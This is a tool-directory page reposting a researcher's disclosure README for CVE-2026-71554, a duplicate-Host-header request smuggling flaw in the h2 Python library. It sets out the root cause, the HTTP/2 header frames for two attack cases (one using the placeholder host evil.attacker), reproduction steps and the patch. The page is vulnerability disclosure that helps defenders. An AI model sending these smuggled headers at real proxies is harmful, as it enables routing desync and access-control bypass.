Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc-h2-CVE-2026-71554 — PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1) | Kitploit
ツール/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityAPI SecurityAdversarial Attack
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC for CVE-2026-71554 - h2 duplicate Host header request smuggling primitive (fixed in 4.4.1)

リポジトリを見る
141ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2026-71554 - h2 Duplicate Host Header Request Smuggling Primitive

This is my first CVE, and I have released this PoC to document the finding and help others understand and reproduce it.

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Affected: h2 <= 4.4.0 Fixed: h2 4.4.1 Severity: Medium (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


What I Found

While reviewing h2's header validation logic, I noticed that _validate_host_authority_header() in src/h2/utilities.py checks that Host and match - but only compares the Host header it sees. If you send two Host headers, h2 uses the second one for the match check and forwards both to the application without complaint.

:authority
last

Interestingly, h2 4.4.0 already rejects duplicate Content-Length headers with a ProtocolError. The same fix was never applied to Host. There was even a TODO comment in the source acknowledging this exact gap:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Root Cause

_validate_host_authority_header() in src/h2/utilities.py uses a last-wins loop that records the last Host value seen and checks only that:

  1. At least one of :authority or Host is present
  2. When both are present, they match

There is no check on the number of Host headers. Each Host header is yielded downstream to the application regardless of how many are present.


Attack Scenarios

Case 1 - Two Host headers, no :authority

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 accepts both. Application receives both Host headers.

HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 requires a server to respond 400 to any HTTP/1.1 request containing more than one Host header. Backends diverge:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Case 2 - Stealth smuggling (:authority bypass)

Client sends:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 validates: last Host (good.internal) == :authority (good.internal) - passes.

Application receives both Host headers. HTTP/1.1 downgrade produces:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Backends that return the first Host on a single-key lookup route the request to evil.attacker while h2 believed it validated good.internal. Complete routing desync between what h2 validated and what the origin processes.


Control - Single mismatched Host correctly rejected

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 raises ProtocolError. Confirms the gap is specific to duplicate Host headers.


What Can Be Affected

Impact is conditional on the deployment architecture:

  • Affected: Reverse proxies or API gateways that accept HTTP/2 from clients and downgrade to HTTP/1.1 when forwarding to backends, where the backend uses the first Host header for routing decisions
  • Affected backends (empirically tested): Python stdlib http.client, Werkzeug Headers -both accept duplicate Host and return the first value
  • Unaffected backends: nginx - rejects with 400 on duplicate Host
  • Unaffected deployments: End-to-end HTTP/2 with no HTTP/1.1 downgrade

Steps to Reproduce

Requirements

root@kitploit:~
pip install h2==4.4.0

Run

root@kitploit:~
python3 poc_h2_duplicate_host.py

Expected output on vulnerable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Verify the fix on 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

All three cases raise ProtocolError. No headers forwarded.


The Fix

One counter added to the existing loop in _validate_host_authority_header():

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Credit

Found and reported by Sunand Mohan (https://github.com/SunandM)

ツールをダウンロード